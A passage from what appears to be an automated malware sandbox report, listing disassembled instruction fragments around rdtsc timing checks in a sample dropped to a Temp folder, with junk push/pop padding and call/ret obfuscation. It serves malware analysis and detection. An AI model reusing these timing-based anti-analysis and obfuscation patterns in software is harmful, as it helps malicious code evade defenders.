00007FC9F53C6A79h 0x00000054 pushad 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C939A8 second address: C939C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FC9F53DFD5Eh 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C939C3 second address: C939CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C939CD second address: C93A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FC9F53DFD69h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push edi 0x00000012 push ebx 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop ebx 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FC9F53DFD65h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93A13 second address: C93A1D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC9F53C6A7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93A1D second address: C93A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007FC9F53DFD58h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 lea ebx, dword ptr [ebp+124586F0h] 0x00000027 xchg eax, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93A55 second address: C93A5B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93A5B second address: C93A62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93A62 second address: C93A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a je 00007FC9F53C6A76h 0x00000010 pop esi 0x00000011 jo 00007FC9F53C6A7Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93AC3 second address: C93AC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93AC7 second address: C93ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93ACD second address: C93AE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53DFD65h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93AE6 second address: C93B9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push edx 0x0000000c jmp 00007FC9F53C6A84h 0x00000011 pop ecx 0x00000012 jmp 00007FC9F53C6A7Fh 0x00000017 push 00000000h 0x00000019 mov cl, FEh 0x0000001b push 8C2FD6F5h 0x00000020 pushad 0x00000021 jmp 00007FC9F53C6A84h 0x00000026 pushad 0x00000027 jmp 00007FC9F53C6A89h 0x0000002c jnc 00007FC9F53C6A76h 0x00000032 popad 0x00000033 popad 0x00000034 add dword ptr [esp], 73D0298Bh 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007FC9F53C6A78h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 00000015h 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 mov esi, 6B0E3D00h 0x0000005a clc 0x0000005b push 00000003h 0x0000005d mov dl, 80h 0x0000005f push 00000000h 0x00000061 movsx edx, cx 0x00000064 push 00000003h 0x00000066 xor dx, 601Ch 0x0000006b push 6E354F96h 0x00000070 push edi 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93B9A second address: C93B9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93B9E second address: C93C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 add dword ptr [esp], 51CAB06Ah 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FC9F53C6A78h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 jmp 00007FC9F53C6A87h 0x0000002d sub ecx, dword ptr [ebp+122D362Fh] 0x00000033 lea ebx, dword ptr [ebp+124586F9h] 0x00000039 mov dx, di 0x0000003c xchg eax, ebx 0x0000003d jmp 00007FC9F53C6A7Fh 0x00000042 push eax 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 je 00007FC9F53C6A76h 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93C47 second address: C93C51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FC9F53DFD56h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93C51 second address: C93C55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93C55 second address: C93CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jnl 00007FC9F53DFD5Ch 0x00000011 mov edx, dword ptr [ebp+122D3643h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007FC9F53DFD58h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 mov ecx, dword ptr [ebp+122D388Bh] 0x00000039 cmc 0x0000003a call 00007FC9F53DFD59h 0x0000003f pushad 0x00000040 push esi 0x00000041 push edi 0x00000042 pop edi 0x00000043 pop esi 0x00000044 pushad 0x00000045 ja 00007FC9F53DFD56h 0x0000004b je 00007FC9F53DFD56h 0x00000051 popad 0x00000052 popad 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93CBE second address: C93CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93CC3 second address: C93D6C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC9F53DFD58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 push ebx 0x00000014 jbe 00007FC9F53DFD56h 0x0000001a pop ebx 0x0000001b popad 0x0000001c mov eax, dword ptr [eax] 0x0000001e js 00007FC9F53DFD72h 0x00000024 jg 00007FC9F53DFD6Ch 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e jmp 00007FC9F53DFD5Ah 0x00000033 pop eax 0x00000034 push 00000003h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007FC9F53DFD58h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov edi, dword ptr [ebp+122D3907h] 0x00000056 mov dword ptr [ebp+122D1ADCh], eax 0x0000005c push 00000000h 0x0000005e movzx edi, cx 0x00000061 push 00000003h 0x00000063 call 00007FC9F53DFD59h 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007FC9F53DFD64h 0x00000071 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93D6C second address: C93D72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93D72 second address: C93D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FC9F53DFD56h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93D7C second address: C93D9C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC9F53C6A84h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93D9C second address: C93DCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FC9F53DFD69h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93DCA second address: C93DE8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC9F53C6A80h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93DE8 second address: C93DEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C93DEE second address: C93E3E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC9F53C6A78h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 jmp 00007FC9F53C6A86h 0x00000015 pop eax 0x00000016 jp 00007FC9F53C6A7Bh 0x0000001c mov ecx, 674DC33Fh 0x00000021 lea ebx, dword ptr [ebp+12458704h] 0x00000027 jnc 00007FC9F53C6A79h 0x0000002d xchg eax, ebx 0x0000002e jp 00007FC9F53C6A84h 0x00000034 push eax 0x00000035 push edx 0x00000036 ja 00007FC9F53C6A76h 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C868BF second address: C868C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C868C4 second address: C868CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: C868CC second address: C868D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB17E8 second address: CB180A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FC9F53C6A7Fh 0x00000010 jns 00007FC9F53C6A76h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB180A second address: CB1824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FC9F53DFD62h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB1824 second address: CB182C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB182C second address: CB1842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FC9F53DFD5Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB1842 second address: CB184F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FC9F53C6A90h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB1C90 second address: CB1C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB1DAF second address: CB1DB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB1DB5 second address: CB1DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB2079 second address: CB2083 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB2083 second address: CB2089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB2089 second address: CB208D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB21E5 second address: CB21EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB21EB second address: CB2205 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007FC9F53C6A76h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB267A second address: CB2680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB2680 second address: CB2699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007FC9F53C6A7Ch 0x0000000b je 00007FC9F53C6A7Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CAAD13 second address: CAAD3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 push edx 0x00000007 jmp 00007FC9F53DFD61h 0x0000000c pushad 0x0000000d jmp 00007FC9F53DFD5Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB29DD second address: CB29E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB29E5 second address: CB2A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC9F53DFD56h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007FC9F53DFD58h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB2A01 second address: CB2A18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB3291 second address: CB32A9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FC9F53DFD63h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB73FC second address: CB7408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC9F53C6A76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB7408 second address: CB7411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB7411 second address: CB7415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB7415 second address: CB7419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB889A second address: CB889F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB889F second address: CB88D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9F53DFD67h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FC9F53DFD5Ah 0x00000016 push esi 0x00000017 pop esi 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB88D1 second address: CB88DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FC9F53C6A76h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CB88DE second address: CB88E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CBC45D second address: CBC461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CBC6A5 second address: CBC6A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CBC6A9 second address: CBC6AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CBC6AF second address: CBC6C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007FC9F53DFD56h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC19EE second address: CC1A08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FC9F53C6A81h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC2242 second address: CC2246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC23A6 second address: CC23AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC23AC second address: CC23B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC23B2 second address: CC2408 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FC9F53C6A86h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jmp 00007FC9F53C6A85h 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 js 00007FC9F53C6A97h 0x0000001a jmp 00007FC9F53C6A83h 0x0000001f push eax 0x00000020 push edx 0x00000021 jbe 00007FC9F53C6A76h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC427F second address: CC4284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC4284 second address: CC4289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC4289 second address: CC428F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC428F second address: CC4308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 jmp 00007FC9F53C6A7Ch 0x0000000e pop ecx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jnl 00007FC9F53C6A84h 0x00000019 mov eax, dword ptr [eax] 0x0000001b jmp 00007FC9F53C6A87h 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 pushad 0x00000025 jnp 00007FC9F53C6A78h 0x0000002b pushad 0x0000002c popad 0x0000002d push ebx 0x0000002e pushad 0x0000002f popad 0x00000030 pop ebx 0x00000031 popad 0x00000032 pop eax 0x00000033 call 00007FC9F53C6A79h 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FC9F53C6A84h 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC4308 second address: CC4324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53DFD68h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC4324 second address: CC4332 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: CC4332 second address: CC4337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
